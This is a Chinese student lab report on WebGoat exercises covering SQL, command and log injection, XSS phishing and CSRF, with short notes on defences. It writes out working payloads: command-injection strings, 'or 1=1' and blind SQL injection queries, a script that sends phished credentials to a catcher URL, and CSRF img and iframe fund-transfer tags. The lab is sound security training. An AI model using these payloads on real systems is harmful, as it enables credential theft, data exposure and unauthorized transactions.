2018-2019-2 網絡對抗技術 20165324 Exp9: Web安全基礎

2018-2019-2 網絡對抗技術 20165324 Exp9: Web安全基礎

課下實驗

  • 實驗內容概述
    • Webgoat準備
    • SQL注入攻擊
    1. 命令注入(Command Injection)
    2. 數字型注入(Numeric SQL Injection)
    3. 日誌欺騙(Log Spoofing
    4. SQL 注入(LAB: SQL Injection)
    5. 字符串注入(String SQL Injection)
    6. 數字型盲注入(Blind Numeric SQL Injection)
    • XSS攻擊
    1. XSS 釣魚(Phishing with XSS)
    2. 存儲型XSS攻擊(Stored XSS Attacks)
    3. 反射型XSS攻擊(Reflected XSS Attacks)
    • CSRF攻擊
    1. 跨站請求僞造(Cross Site Request Forgery (CSRF))
    2. 繞過 CSRF 確認( CSRF Prompt By‐Pass)
  • 基礎問題回答
    • SQL注入攻擊原理,如何防護
      • 原理:SQL注入漏洞是指在Web應用對後臺數據庫查詢語句處理存在的安全漏洞。也就是,在輸入字符串中嵌入SQL指令,在設計程序中忽略對可能構成攻擊的特殊字符串的檢查。後臺數據庫將其認做正常SQL指令後正常執行,可能實現對後臺數據庫進行各類操做,甚至形成破壞後臺數據庫等嚴重後果
      • 防護辦法:關閉或刪除沒必要要的交互式提交表單頁面;普通用戶與系統管理員用戶的權限要有嚴格的區 分;不要在服務器端放置備份的文件以避免受到感染,或備份的文件含有漏洞,形成切入點。
    • XSS攻擊的原理,如何防護
      • 原理:攻擊者往Web頁面裏插入惡意html標籤或者javascript代碼,當用戶瀏覽該頁或者進行某些操做時,攻擊者利用用戶對原網站的信任,誘騙用戶或瀏覽器執行一些不安全的操做或者向其它網站提交用戶的私密信息。
      • 防護辦法:網站開發者運用轉義安全字符等手段,而且堅持不相信用戶輸入的任何數據的原則表單提交的時候進行特殊字符的檢測;對輸入框作長度限制;
    • CSRF攻擊原理,如何防護
      • 原理:CSRF就是冒名登陸。跨站請求僞造的核心本質是竊取用戶的Session,或者說Cookie,由於目前主流狀況> Session都是存在Cookie中.攻擊者並不關心被害者具體賬號和密碼,由於一旦用戶進行了登陸,Session就是用戶的惟一憑證,只要攻擊者可以獲得Session,就能夠假裝成被害者進入服務器.主要是當訪問網站A時輸入用戶名和密碼,在經過驗證後,網站A產生Cookie信息並返回,此時登陸網站A成功,可正常發送請求到網站A。在未退出網站A前,若訪問另外一個網站B,網站B可返回一些攻擊性代碼並請求訪問網站A;所以在網站B的請求下,向網站A發出請求。但網站A不知道該請求惡意的,所以仍是會執行該惡意代碼
      • 防護辦法:使用令牌,每個網頁包含一個web server產生的令牌,提交時,也將該令牌提交到服務器,服務器進行判斷,若是令牌不符合,就斷定存在CSRF攻擊;將提交方法改成post,或將 GET請求設置爲只瀏覽而不改變服務器端資源;按期清理cookie。
  • 實驗總結與體會
    • 本次實驗我發現本身學到了不少新知識,對網絡攻防的內容也有深切的認識和體會,雖然不少方面的學習不夠深刻,但本身對於基礎的內容仍是掌握了不少,有很大的收穫。

內容9.1:WebGoat

  • 介紹:WebGoat是OWASP組織研製出的用於進行web漏洞實驗的應用平臺,用來講明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,當前提供的訓練課程有30多個,其中包括:跨站點腳本攻擊(XSS)、訪問控制、線程安全、操做隱藏字段、操縱參數、弱會話cookie、SQL盲注、數字型SQL注入、字符串型SQL注入、web服務、Open Authentication失效、危險的HTML註釋等等。WebGoat提供了一系列web安全學習的教程,某些課程也給出了視頻演示,指導用戶利用這些漏洞進行攻擊。javascript

  • 下載webgoat-container-7.0.1-war-exec.jar文件
  • 在含有該文件的目錄下使用命令java -jar webgoat-container-7.0.1-war-exec.jar運行Webgoat,出現信息: Starting ProtocolHandler ["http-bio-8080"]說明開啓成功,能夠看到佔用8080端口,實驗過程當中不能關閉終端。html

  • 在瀏覽器中輸入 http://localhost:8080/WebGoat進入WebGoat登陸界面,直接用默認用戶名密碼登陸便可。(若頁面出錯,多是JDK版本不兼容,參考連接:https://www.jianshu.com/p/9ec7838411c8)

內容9.2:SQL注入攻擊(Injection Flaws)

1.命令注入(Command Injection)java

  • 原理:在正常的參數提交過程當中添加惡意代碼以執行某條指令。git

  • 目標:能夠在目標主機上執行任何系統命令github

-操做方法:web

  • 右鍵點擊頁面,選擇inspect Element審查網頁元素對源代碼進行修改,在複選框中任意一欄的代碼,右鍵單擊後,選擇Edit At Html進行修改,添加"& netstat -an & ipconfig"sql

  • 點擊view,能夠看到執行指令後的網絡端口使用狀況和IP地址。攻擊成功!數據庫

2. 數字型注入(Numeric SQL Injection)瀏覽器

  • 原理:在station字段中注入特徵字符,組合成新的SQL語句。
    如:SELECT * FROM weather_data WHERE station = [station]安全

  • 目標:該例子經過注入SQL字符串查看全部的天氣數據。

  • 操做方法:
    右鍵點擊頁面,選擇inspect Element審查網頁元素對源代碼進行修改,在選中的城市編號Value值中添加or 1=1

  • 顯示全部城市的天氣狀況,攻擊成功!

3. 日誌欺騙(Log Spoofing)

  • 原理:在日誌文件中愚弄人的眼睛,攻擊者能夠利用這種方式清除他們在日誌中的痕跡
  • 目標:灰色區域表明在 Web 服務器的日誌中的記錄的內容,咱們的目的是使用戶名爲「admin」的用戶在日誌中顯示「成功登陸」
  • 操做方法:
    • 前提:本題目接受用戶輸入的任何一個用戶名,並將其追加到日誌文件中。
    • 利用入回車(0D%)和換行符(%0A),在 username 中填入hcj%0d%0aLogin Succeeded for username: admin

4. SQL 注入(LAB: SQL Injection)

  • Stage 1: 字符串型注入(Stage 1: String SQL Injection)
  • 原理:經過注入字符串繞過認證

  • 操做方法:
    • 右鍵點擊頁面,選擇inspect Element審查網頁元素對源代碼進行修改,將password密碼框的最大長度限制改成20。

- 以用戶Smith 登陸,輸入密碼```Smith' or 1=1--```
- 獲得全部人員列表,攻擊成功!

  • Stage 3:數字型 SQL 注入(Stage 3: Numeric SQL Injection)

  • 原理:經過注入數字型數據,繞過認證,能夠經過普通員工的帳戶,查看到BOSS的用戶信息。

  • 操做方法:
    • 使用用戶名 Larry,密碼 larry 點擊login登陸,點擊ViewProfile查看用戶信息
    • 右鍵點擊頁面,選擇inspect Element審查網頁元素源代碼,咱們能夠看到數據庫索引的依據是員工ID,推測返回的是每次查詢到的第一條數據。
    • 用社會工程學解釋老闆應該是工資最高的,因此將員工ID的value改爲101 or 1=1 order by salary desc,使得老闆的信息做爲查詢到的第一條數據。
    • 獲得老闆的帳戶信息,攻擊成功!

5.字符串注入(String SQL Injection)

  • 原理:基於如下查詢語句構造本身的 SQL 注入字符串。
SELECT * FROM user_data WHERE last_name = '?'
  • 目標:下面的表格,容許用戶查看他們的信用卡號碼。嘗試經過 SQL 注入將全部信用卡信息 顯示出來。嘗試的用戶名是「Smith」。

  • 操做方法:
    • 正常狀況下只能查詢到用戶名對應的信用卡號碼
    • 輸入查詢的用戶名Smith' or 1=1--(Smith 和1=1都成了查詢的條件,而1=1是恆等式,所以能查詢到表裏面的全部數據)
    • 獲得全部用戶的信用卡號碼,攻擊成功!

6. 數字型盲注入(Blind Numeric SQL Injection)

  • 原理:某些SQL注入是沒有明確返回信息的,只能經過條件的「真」和「假」進行判斷。攻擊者必須充分利用查詢語句,構造子查詢語。

  • 目標:該題目容許輸入一個賬號,並檢測該賬號是否合法。使用該表單的返回信息(真或假)測試檢查數據庫中其它條目信息。咱們找到 pins 表中 cc_number 字段值爲 1111222233334444 的記錄中 pin 字段的數值。pin 字段類型爲 int,整型。輸入找到的數值並提交,經過該題目。

  • 操做方法:
    • 本題目中,服務端頁面返回的信息只有兩種:賬號有效或無效。所以沒法簡單地查詢到賬號的PIN數值。但咱們能夠利用系統後臺在用的查詢語句SELECT * FROM user_data WHERE userid=accountNumber;
    • 若是該查詢語句返回了賬號的信息,頁面將提示賬號有效,不然提示無效。使用 AND 函數,咱們能夠添加一些額外的查詢條件。若是該查詢條件一樣爲真,則返回結果應提示賬 號有效,不然無效。

    • 針對查詢語句的後半部分構造複雜語句,如:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );若是提示無效,則pin值小於5000,使用二分法,最終得出pin的值爲2364

內容9.3:XSS攻擊

  • 跨站腳本攻擊是經過HTML注入劫持用戶的瀏覽器,任意構造用戶當前瀏覽的HTML內容,能夠模擬用戶當前的操做。這裏實驗的是一種獲取用戶名和密碼的攻擊。

1. XSS 釣魚(Phishing with XSS)

  • 原理:當用戶輸入非法HTTP響應時容易受到XSS攻擊。在XSS的幫助下,能夠實現釣魚工具或向某些官方頁面中增長內容。對於受害者來講很難發現該內容是否存在威脅。
  • 目標:建立一個 form,要求填寫用戶名和密碼。將數據提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam

  • 操做方法:
    • 利用XSS能夠在已存在的頁面中進一步添加元素,包括兩部分:
      • 受害人填寫一個表格;
      • 服務器以讀取腳本的形式,將收集到的信息發送給攻擊者。
        編寫一段腳本讀取被攻擊者在表單上輸入的用戶名和密碼信息,將這些信息發送給捕獲這些信息的 WebGoat
    • 編寫一個帶用戶名和密碼輸入框的表格
//腳本
</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

2. 存儲型XSS攻擊(Stored XSS Attacks)

  • 原理:這種攻擊常見於論壇等留言平臺,用戶留言的時候輸入一段JavaScript腳本,這段腳本就會被保存在數據庫中。由於是留言,因此任何用戶在打開網頁的時候,這個腳本就會被從數據庫中取出來而運行。

  • 目標:寫入非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容

  • 給用戶發一個信息,用戶在打開這個信息的時候觸發了隱藏在信息裏面js代碼,而後被盜走了cookies

3. 反射型XSS攻擊(Reflected XSS Attacks)

  • 原理:在反射的XSS攻擊中,攻擊者可使用攻擊腳本建立一個URL,並將其發佈到另外一個網站、經過電子郵件或其餘方式讓受害者點擊它。

  • 目標:使用攻擊腳本建立URL,並將其寫入網站中,當讀取到該URL的時候就會被攻擊

  • 操做方法:

    • 輸入代碼<script>alert("hello20165324");</script>,點擊purse的同時頁面就給出了反饋

內容9.4:CSRF攻擊

1. 跨站請求僞造(Cross Site Request Forgery (CSRF))

  • 操做方法:
    • 查看頁面右側Parameters中的src和menu值,分別爲276和900

- 在title中輸入任何參數,message框中輸入
<img src="http://localhost:8080/WebGoat/attack Screen=267&menu=900&transferFunds=5000" width="1" height="1" />

,以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的(寬高設置成1像素的目的是隱藏該圖片),用戶一旦點擊圖片,就會觸發一個CSRF事件,點擊Submit提交
- 在Message List中生成以Title命名的消息。點擊該消息,當前頁面就會下載這個消息並顯示出來,轉走用戶的5000元,從而達到CSRF攻擊的目的。

2. 繞過 CSRF 確認( CSRF Prompt By‐Pass)

  • 操做方法:

    • 查看頁面右側Parameters中的src和menu值分別爲276和900
    • 並在title框中輸入學號,message框中輸入代碼:
    <iframe src="attack?Screen=276&menu=900&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=276&menu=900&transferFunds=CONFIRM"> </iframe>
    • 在Message
      List中生成以Title命名的連接,點擊進入後,攻擊成功。

相關文章
相關標籤/搜索